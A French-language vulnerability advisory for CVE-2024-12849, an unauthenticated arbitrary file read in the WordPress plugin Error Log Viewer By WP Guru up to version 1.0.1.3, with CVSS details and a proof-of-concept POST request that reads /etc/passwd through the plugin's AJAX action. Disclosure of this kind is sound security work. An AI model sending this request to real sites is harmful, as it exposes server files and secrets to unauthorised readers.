CVE-2024-12849

Error Log Viewer By WP Guru <= 1.0.1.3 - Autorisation manquante permettant une lecture arbitraire de fichiers sans authentification

Description

Le plugin Error Log Viewer By WP Guru pour WordPress est vulnérable à une lecture arbitraire de fichiers dans toutes les versions jusqu'à 1.0.1.3 incluse via l'action AJAX wp_ajax_nopriv_elvwp_log_download. Cela permet à des attaquants non authentifiés de lire le contenu de fichiers arbitraires sur le serveur, qui peuvent contenir des informations sensibles.

Details

• Type: plugin
• Slug: error-log-viewer-wp
• Version affectée: 1.0.1.3
• Score CVSS: 7.5
• Sévérité CVSS: Élevée
• Vecteur CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• CVE: CVE-2024-12849
• Statut: Actif

Preuve de concept

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=elvwp_log_download&elvwp_error_log_download=1&elvwp_error_log=/etc/passwd